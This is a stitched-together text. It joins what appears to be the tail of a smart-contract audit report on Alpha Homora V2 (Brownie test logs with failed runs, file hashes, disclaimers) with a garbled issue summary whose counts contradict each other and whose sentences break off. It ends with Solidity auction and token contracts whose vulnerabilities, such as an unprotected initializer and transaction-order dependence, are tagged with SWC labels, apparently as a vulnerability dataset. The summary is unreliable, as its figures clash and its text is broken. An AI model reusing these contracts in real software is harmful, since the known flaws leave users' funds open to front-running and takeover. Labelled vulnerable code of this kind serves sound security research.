3 ProxyOracle.constructor confirmed - Block: 11462802 Gas used: 1215346 (10.13%) ProxyOracle deployed at: 0x6951b5Bd815043E3F842c1b026b0Fa888Cc2DD85 Transaction sent: 0x4856a201ead1f639457d2a0f785d38c5ef9ec921e6e0e0401f094aa8d6bfc089 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4 ProxyOracle.setWhitelistERC1155 confirmed - Block: 11462803 Gas used: 31221 (0.26%) Transaction sent: 0xeac269c842c6355ce8127069232f3aa92fa3b01d17faf3019aab875cd6a0b53c Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 ProxyOracle.setOracles confirmed - Block: 11462804 Gas used: 67905 (0.57%) Transaction sent: 0x1c56bdb95d468f1652ece74aa9816a08f3ecf2ab59782782dc2ab1d5a4228a01 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 HomoraBank.constructor confirmed - Block: 11462805 Gas used: 3700237 (30.84%) HomoraBank deployed at: 0x9E4c14403d7d9A8A782044E86a93CAE09D7B2ac9 Transaction sent: 0x1b9045adf7152c1d2d7716ba9db28df314ea08235e02adb41456421a7c3d2619 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 HomoraBank.initialize confirmed - Block: 11462806 Gas used: 187114 (1.56%) Transaction sent: 0xf059664a2c3542e5b464bddf28c34c2aad4d901354969ec8a8041a6258234896 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 ICEtherEx.mint confirmed - Block: 11462807 Gas used: 97948 (0.82%) Transaction sent: 0x95fb1db3be7666681c51bc192c7f4bd598238b875bc0d60a7b20e536bbbeed08 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 ICEtherEx.transfer confirmed - Block: 11462808 Gas used: 49998 (0.42%) Transaction sent: 0xc86ffe3bf18cae644ad6f2642b672839b9d3f8cff84c8e06c5c8b640c8916ece Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 IComptroller.enterMarkets confirmed - Block: 11462809 Gas used: 45842 (0.38%) Transaction sent: 0x38e790bfeb8b48be5916cf4475baf942a4b4b97a97c0f84b3521643fd029cd9a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 HomoraBank.addBank confirmed - Block: 11462810 Gas used: 56904 (0.47%) Transaction sent: 0x9f6c5cf53a82a9261c7798dd1e7b657129f95b99c684866877783444b7060886 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 HomoraBank.addBank confirmed - Block: 11462811 Gas used: 70547 (0.59%) Transaction sent: 0x47d045a1e386b790f8171825748551ade6c2af8a0ab46fe1a9800509a95bc14d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 HomoraBank.addBank confirmed - Block: 11462812 Gas used: 60895 (0.51%) sending from 0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f 1000000000000000000000000 Dai Stablecoin to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x519df73fc6f245671a894a760250da72c3f1844c06a9bb396c99217056857343 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462813 Gas used: 37018 (0.31%) sending from 0xA191e578a6736167326d05c119CE0c90849E84B7 1000000000000 USD Coin to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x62fc1b976800994542fb074a8aeb19f2f8ac427609a716f5af0ce0017b0c33fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462814 Gas used: 42381 (0.35%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 1000000000000 Tether USD to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x73c8e1f266c6244046c9849b1372dcc50a16b2dba6c28f460e147e1c3c11ebde Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 649 IERC20Ex.transfer confirmed - Block: 11462815 Gas used: 41209 (0.34%) sending from 0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f 1000000000000000000000000 Dai Stablecoin to 0x9E4c14403d7d9A8A782044E86a93CAE09D7B2ac9 Transaction sent: 0x60b3f8136ccc6cd260dfaa294422c6835071f09804131cdbb724893fddefe2d4 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 IERC20Ex.transfer confirmed - Block: 11462816 Gas used: 37018 (0.31%) sending from 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 1000000000000 USD Coin to 0x9E4c14403d7d9A8A782044E86a93CAE09D7B2ac9 Transaction sent: 0xc3f16599cb192baa06c09be4d25a09beebdb43664debb89a9eabf9bbde29175d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462817 Gas used: 42381 (0.35%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 1000000000000 Tether USD to 0x9E4c14403d7d9A8A782044E86a93CAE09D7B2ac9 Transaction sent: 0x6bbe213db6009930967f6de0d3c87c48c525b8ec403e2c785164a4d2068ede10 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 650 IERC20Ex.transfer confirmed - Block: 11462818 Gas used: 41209 (0.34%) Alice dai balance 1000000000000000000000000 Alice usdc balance 1000000000000 Alice usdt balance 1000000000000 Transaction sent: 0xc60a1b3f418e109a46af50da30ada6293f1477e4cdc7d7d76161c2b5e9a0691d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462819 Gas used: 35614 (0.30%) Transaction sent: 0x9131309117ffb6d759f1fee1e19fe0bc243bb954cc1d066d390dd35c9e4e4759 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 IERC20Ex.approve confirmed - Block: 11462820 Gas used: 29358 (0.24%) Transaction sent: 0xf06282757c9c23b075e011c8b822a98da3047b2dc460d0e9b5c8ade45e511a49 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 IERC20Ex.approve confirmed - Block: 11462821 Gas used: 29358 (0.24%) Transaction sent: 0x34647ad76a25e69eabd81747934073600a901c714a0713061b4cfc89ace02a3f Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 IERC20Ex.approve confirmed - Block: 11462822 Gas used: 34811 (0.29%) Transaction sent: 0x3c741af7541b8cbf66618f3e8502af81335e3068ae2bcb982014d811ba7c56d4 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 IERC20Ex.approve confirmed - Block: 11462823 Gas used: 34799 (0.29%) Transaction sent: 0xfb55913a30ed5094b9b908b7c3289f4ebc5d01aadeee67805bbee59a9084c94e Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 IERC20Ex.approve confirmed - Block: 11462824 Gas used: 31297 (0.26%) Transaction sent: 0xce01efca01df2adea5656612086e7237b96269af40daa8687d4e9fa0af5909c7 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 IERC20Ex.approve confirmed - Block: 11462825 Gas used: 31297 (0.26%) Transaction sent: 0xd962902115ec254d9c127400431a4d760c2457c37bcfd0e7f586612d30529237 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 IERC20Ex.approve confirmed - Block: 11462826 Gas used: 30227 (0.25%) Transaction sent: 0xf44137d3ea653ee7e6e8343d19767984af2fc6f488c4f025763aacec78479607 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 CurveSpellV1.constructor confirmed - Block: 11462827 Gas used: 1939026 (16.16%)CurveSpellV1 deployed at: 0x7a3d735ee6873f17Dbdcab1d51B604928dc10d92 File "brownie/_cli/run.py", line 49, in main return_value = run(args["<filename>"], method_name=args["<function>"] or "main") File "brownie/project/scripts.py", line 66, in run return getattr(module, method_name)(*args, **kwargs) File "./curve_add_remove_3_test.py", line 123, in main curve_spell.registerPool(lp) File "brownie/network/contract.py", line 506, in __getattribute__ raise AttributeError(f"Contract '{self._name}' object has no attribute '{name}'") AttributeError: Contract 'CurveSpellV1' object has no attribute 'registerPool' Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'curve_oracle_test.py::main'... Transaction sent: 0x88f8c681dc12efe65e26d2efa59c0b2f7f2cb938e48bcfb6e963ac754b6aea49 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 WERC20.constructor confirmed - Block: 11462789 Gas used: 1855697 (15.46%) WERC20 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0x52aad4031537dd7b6490479adc95fd671f57089422cc77b7abc5813a4fdbf67d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 SimpleOracle.constructor confirmed - Block: 11462790 Gas used: 417736 (3.48%) SimpleOracle deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6 Transaction sent: 0xc6020efa8586575a8ce413b2df5051cd7080be92694911b46f6208075ebaa916 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 SimpleOracle.setETHPx confirmed - Block: 11462791 Gas used: 45638 (0.38%) Transaction sent: 0x07e6a316d37297bcb393a35194994c8ac5e9972279beb8cf68443883ad8f149a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3 CurveOracle.constructor confirmed - Block: 11462792 Gas used: 634007 (5.28%) CurveOracle deployed at: 0x6951b5Bd815043E3F842c1b026b0Fa888Cc2DD85 Transaction sent: 0xb55804b35fc55f95c3e14afcfa0f1b57a096d6eb2d778d1e2d1d47d83f13a614 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4 CurveOracle.registerPool confirmed - Block: 11462793 Gas used: 82471 (0.69%) Transaction sent: 0xfa623d356f63193a57df8afb7f765dfc04187b910c77b048e3247dec516f4540 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 ProxyOracle.constructor confirmed - Block: 11462794 Gas used: 1215346 (10.13%) ProxyOracle deployed at: 0x6b4BDe1086912A6Cb24ce3dB43b3466e6c72AFd3 Transaction sent: 0x1792b5063748ab347a5617960c5dae86589c870e2619f262d5396cf1ddebce87 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 ProxyOracle.setWhitelistERC1155 confirmed - Block: 11462795 Gas used: 31221 (0.26%) Transaction sent: 0x741b3b5295e24b32758ffa23f42b31efd6515f5b7af32ccd909706ede9510130 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 ProxyOracle.setOracles confirmed - Block: 11462796 Gas used: 67905 (0.57%) ========================================================================= Case 1. pool virtual price 1005389840520077229 lp price 9050809674119774938738835983448 dai price 9060553589188986552095106856227 usdt price 9002288773315920458132820329673073223442669 usdc price 9011535487953795006625883219171279625142296 Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Attached to local RPC client listening at '127.0.0.1:8545'... File "brownie/_cli/run.py", line 49, in main return_value = run(args["<filename>"], method_name=args["<function>"] or "main") File "brownie/project/scripts.py", line 52, in run module = _import_from_path(script) File "brownie/project/scripts.py", line 110, in _import_from_path _import_cache[import_str] = importlib.import_module(import_str) File "/usr/local/Cellar/python@3.9/3.9.1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/importlib/__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "<frozen, line line, in in File "<frozen, line line, in in File "<frozen, line line, in in File "<frozen, line line, in in File "<frozen, line line, in in File "<frozen, line line, in in File "./deploy_to_mainnet.py", line 1, in <module> from brownie import accounts, ERC20KP3ROracle, UniswapV2LPKP3ROracle ImportError: cannot import name 'UniswapV2LPKP3ROracle' from 'brownie' (/usr/local/lib/python3.9/site-packages/brownie/__init__.py) Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'uniswap_lp_oracle_test.py::main'... Transaction sent: 0xa3a3186b87d2a448ced3e26b4d2d08adab86acc35d4649f9fe3bd5384494be46 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 SimpleOracle.constructor confirmed - Block: 11462816 Gas used: 417736 (3.48%) SimpleOracle deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0x232a7b8a9588220df89d28fd30f0f562cfacc1d703a1603e7ce5a3795716cb58 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 SimpleOracle.setETHPx confirmed - Block: 11462817 Gas used: 52883 (0.44%) Transaction sent: 0xc400577b05a8936ecd2b7de2fc0eb81f190db571d57e8a14f812040b24845423 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 UniswapV2Oracle.constructor confirmed - Block: 11462818 Gas used: 384200 (3.20%) UniswapV2Oracle deployed at: 0xE7eD6747FaC5360f88a2EFC03E00d25789F69291 ETH-USDT LP: 557583789230142006987198599724271565867 ETH-USDC LP: 557881771032412266177437577876328971538 USDT-USDC LP: 20035146218653758228785902023009990676339783 Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Attached to local RPC client listening at '127.0.0.1:8545'... Running 'uniswap_spell_add_remove_test.py::main'... Transaction sent: 0x893bab04abb988fa2039621d6746fa29aef509a0de0f04ef4fb8f1230180dead Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 WERC20.constructor confirmed - Block: 11462820 Gas used: 1855697 (15.46%) WERC20 deployed at: 0x420b1099B9eF5baba6D92029594eF45E19A04A4A File "brownie/_cli/run.py", line 49, in main return_value = run(args["<filename>"], method_name=args["<function>"] or "main") File "brownie/project/scripts.py", line 66, in run return getattr(module, method_name)(*args, **kwargs) File "./uniswap_spell_add_remove_test.py", line 43, in main simple_oracle = SimpleOracle.deploy({'from': admin}) File "brownie/network/contract.py", line 283, in __call__ return tx["from"].deploy( File "brownie/network/account.py", line 469, in deploy exc = VirtualMachineError(e) File "brownie/exceptions.py", line 104, in __init__ raise ValueError(exc["message"]) from None ValueError: the tx doesn't have the correct nonce. account has nonce of: 10 tx has nonce of: 9 Code CoverageNo coverage report could be generated in the current form of the project. Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 435cb22aad93529fa885391f1362971211c09abdbba7c62fb80ed55aee3a1591 ./contracts/Governable.sol b7d6b9cf372c56ce761d1f3206a716bce37d977c57f67e803faa08cf5c53966c ./contracts/HomoraBank.sol 69570cabe65c83083661acde35f23c54fbcd7b04dbd710abba7fd759d9050175 ./contracts/wrapper/WERC20.sol f53dc2c4cba4080018d5ce85e5cb2864b44e447d2128fee31a62151005d35ac6 ./contracts/wrapper/WMasterChef.sol 68d99de4af9cf04ae720ae995b8cb18e777e9a0a8631b709c07efc537b68613f ./contracts/utils/ERC1155NaiveReceiver.sol f4eb56a7939f11dbddefa48dc348305675df1a6702104a3c0aa4cf429adf9b61 ./contracts/utils/HomoraMath.sol 8f1ca27770f8b08541bce7f389a2d971f69b925a32e6f76f62ff8642e150c27a ./contracts/spell/BasicSpell.sol 66b9909f4f38c3c95ee21ad51051b8a13c93374604fa4942dd6098ac40f77e22 ./contracts/spell/HouseHoldSpell.sol a4e0bd99d8843c4f40730c1148eed9bfa582fc90c56c423acd15511f6a906c6b ./contracts/spell/UniswapV2SpellV1.sol 9bcbccb3d4d2b4bae4eafb966a8649782bc7d716918b6f3ac6da77147f3fdd97 ./contracts/oracle/BaseKP3ROracle.sol 7d48946a3931712c3f387b1aa109e01c37fa661b3a1e5e7b3c39c1bb845af7e3 ./contracts/oracle/ERC20KP3ROracle.sol 9d562cb77fcdc3c4d6e76da5bd81c0ef7353e06fa9db75953079070f34a37344 ./contracts/oracle/ProxyOracle.sol ecf2a015ea51de1779539e2dc1369ccea07bc8d9b05ecb2ea4742ef1df133de8 ./contracts/oracle/SimpleOracle.sol f11f704f6076dc314c03d3485a35e80ef81549f0a9472ce72733eb091575ce1d ./contracts/oracle/UniswapV2LPKP3ROracle.sol Tests 193126384ab0fed5e3fc7845027c82c15929e954d152126b7952ac3f922f9371 ./scripts/borrow_test.py d4d3b9955cc7324ff23a167617a7430ca046406d96abb5fca4fdaea85640aba7 ./scripts/deploy_to_mainnet.py f6f97488ccd4ecba2eda64c507cd1aeeb77468019c8cfc0c381e9960f204fc0d ./scripts/uniswap_spell_add_remove_test.py f6824c31fa8fb3a2a127e042a0b6c8da0a291266d9ccbac3a8f100e00a924ebe ./scripts/uniswap_spell_more_add_remove_test.py 2a311ca6e8b8eb41698fe4a82771af095e9c44756a4ecc5f26e4e37c7467fac3 ./scripts/uniswap_spell_usdc_usdt_test.py Changelog 2020-12-11 - Initial report •2021-01-13 - reaudit report •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AlphaHomoraV2 Audit
Issues Count of Minor/Moderate/Major/Critical - 4 High Risk Issues - 2 Medium Risk Issues - 4 Low Risk Issues - 4 Informational Risk Issues - 1 Undetermined Risk Issues High Risk - Problem: The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. (Commit homora-v2 16a6f9a) - Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Medium Risk - Problem: The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. (Commit homora-v2 f70942d) - Fix: Implemented actions to minimize the impact or likelihood of the risk. Low Risk - Problem: The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low-impact in view of the client’s business circumstances. (Commit homora-v2 16 Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 7 Critical: 5.a Problem: Function never clears up the collateral value in the liquidated position (QSP-5) 5.b Fix: liquidate (QSP-5) 6.a Problem: Truncation of fixed-point could result in sensitive collateral liquidation calculation (QSP-6) 6.b Fix: Fixed (QSP-6) 7.a Problem: No fallback oracle if primary fails (QSP-7) 7.b Fix: N/A Observations: - Documentation of the project is insufficient - Quality of the audit could be improved with more specifications - Extensive tests and/or formal methods to assure quality and behavior - Avoid implementing own arithmetic like fixed-point arithmetic - Solidity Coverage does not work due to project setup - 15 total issues identified with 3 auditors performing audits side-by-side - No unit tests and no coverage report for this project Conclusion: Given the dense logic, many integrations, oracle logic, borrowing, many Issues Count of Minor/Moderate/Major/Critical: Minor: 3 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem (one line with code reference): Potentially high gas usage in getBorrowETHValue (QSP-9) 2.b Fix (one line with code reference): Optimize gas usage (QSP-9) 3.a Problem (one line with code reference): Attacker can front-run initialization of new HomoraBank (QSP-10) 3.b Fix (one line with code reference): Add a delay to initialization (QSP-10) 4.a Problem (one line with code reference): Missing approval in function setCToken (QSP-11) 4.b Fix (one line with code reference): Add approval to function setCToken (QSP-11) 5.a Problem (one line with code reference): Missing input checks (QSP-12) 5.b Fix (one line with code reference): Add input checks (QSP-12) Moderate: 3.a Problem (one line with code reference): Transmit arbitrary amount of token from
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./oz/erc721/ERC721.sol"; import "./oz/erc721/ERC721Enumerable.sol"; import "./oz/erc721/ERC721Burnable.sol"; import "./oz/erc721/ERC721Pausable.sol"; import "./oz/util/AccessControlEnumerable.sol"; import "./oz/util/Context.sol"; import "./oz/util/Counters.sol"; /** * @dev {ERC721} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * - token ID and URI autogeneration * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC721TestToken is Context, AccessControlEnumerable, ERC721Enumerable, ERC721Burnable, ERC721Pausable { using Counters for Counters.Counter; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); Counters.Counter private _tokenIdTracker; string private _baseTokenURI; /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * Token URIs will be autogenerated based on `baseURI` and their token IDs. * See {ERC721-tokenURI}. */ constructor(string memory name, string memory symbol, string memory baseTokenURI) ERC721(name, symbol) { _baseTokenURI = baseTokenURI; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * @dev Creates a new token for `to`. Its token ID will be automatically * assigned (and available on the emitted {IERC721-Transfer} event), and the token * URI autogenerated based on the base URI passed at construction. * * See {ERC721-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint"); // We cannot just use balanceOf to create the new tokenId because tokens // can be burned (destroyed), so we need a separate counter. _mint(to, _tokenIdTracker.current()); _tokenIdTracker.increment(); } /** * @dev Pauses all token transfers. * * See {ERC721Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC721Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }pragma solidity ^0.8.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.1; import "./oz/util/ECDSA.sol"; import "./oz/erc20/IERC20.sol"; import "./oz/erc721/IERC721.sol"; import "./zAuctionAccountant.sol"; contract zAuction { using ECDSA for bytes32; bool initialized; zAuctionAccountant accountant; IERC20 weth = IERC20(address(0xc778417E063141139Fce010982780140Aa0cD5Ab)); // rinkeby weth mapping(uint256 => bool) public randUsed; event BidAccepted(address indexed bidder, address indexed seller, uint256 amount, address nftaddress, uint256 tokenid); event WethBidAccepted(address indexed bidder, address indexed seller, uint256 amount, address nftaddress, uint256 tokenid); function init(address accountantaddress) external { require(!initialized); initialized = true; accountant = zAuctionAccountant(accountantaddress); } /// recovers bidder's signature based on seller's proposed data and, if bid data hash matches the message hash, transfers nft and payment /// @param signature type encoded message signed by the bidder /// @param rand a global random nonce stored to invalidate attempts to repeat /// @param bidder address of who the seller says the bidder is, for confirmation of the recovered bidder /// @param bid eth amount bid /// @param nftaddress contract address of the nft we are transferring /// @param tokenid token id we are transferring function acceptBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external { address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid))), signature); require(bidder == recoveredbidder, 'zAuction: incorrect bidder'); require(!randUsed[rand], 'Random nonce already used'); randUsed[rand] = true; IERC721 nftcontract = IERC721(nftaddress); accountant.Exchange(bidder, msg.sender, bid); nftcontract.transferFrom(msg.sender, bidder, tokenid); emit BidAccepted(bidder, msg.sender, bid, nftaddress, tokenid); } /// @dev 'true' in the hash here is the eth/weth switch function acceptWethBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external { address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid, true))), signature); require(bidder == recoveredbidder, 'zAuction: incorrect bidder'); require(!randUsed[rand], 'Random nonce already used'); randUsed[rand] = true; IERC721 nftcontract = IERC721(nftaddress); weth.transferFrom(bidder, msg.sender, bid); nftcontract.transferFrom(msg.sender, bidder, tokenid); emit WethBidAccepted(bidder, msg.sender, bid, nftaddress, tokenid); } function recover(bytes32 hash, bytes memory signature) public pure returns (address) { return hash.recover(signature); } function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { return hash.toEthSignedMessageHash(); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.1; import "./oz/util/SafeMath.sol"; contract zAuctionAccountant { address public zauction; address public admin; mapping(address => uint256) public ethbalance; event Deposited(address indexed depositer, uint256 amount); event Withdrew(address indexed withrawer, uint256 amount); event zDeposited(address indexed depositer, uint256 amount); event zWithdrew(address indexed withrawer, uint256 amount); event zExchanged(address indexed from, address indexed to, uint256 amount); event ZauctionSet(address); event AdminSet(address, address); constructor(){ admin = msg.sender; } modifier onlyZauction(){ require(msg.sender == zauction, 'zAuctionAccountant: sender is not zauction contract'); _; } modifier onlyAdmin(){ require(msg.sender == admin, 'zAuctionAccountant: sender is not admin'); _; } function Deposit() external payable { ethbalance[msg.sender] = SafeMath.add(ethbalance[msg.sender], msg.value); emit Deposited(msg.sender, msg.value); } function Withdraw(uint256 amount) external { ethbalance[msg.sender] = SafeMath.sub(ethbalance[msg.sender], amount); payable(msg.sender).transfer(amount); emit Withdrew(msg.sender, amount); } // SWC-Code With No Effects: L44-52 function zDeposit(address to) external payable onlyZauction { ethbalance[to] = SafeMath.add(ethbalance[to], msg.value); emit zDeposited(to, msg.value); } function zWithdraw(address from, uint256 amount) external onlyZauction { ethbalance[from] = SafeMath.sub(ethbalance[from], amount); emit zWithdrew(from, amount); } function Exchange(address from, address to, uint256 amount) external onlyZauction { ethbalance[from] = SafeMath.sub(ethbalance[from], amount); ethbalance[to] = SafeMath.add(ethbalance[to], amount); emit zExchanged(from, to, amount); } // SWC-Transaction Order Dependence: L60-68 function SetZauction(address zauctionaddress) external onlyAdmin{ zauction = zauctionaddress; emit ZauctionSet(zauctionaddress); } function SetAdmin(address newadmin) external onlyAdmin{ 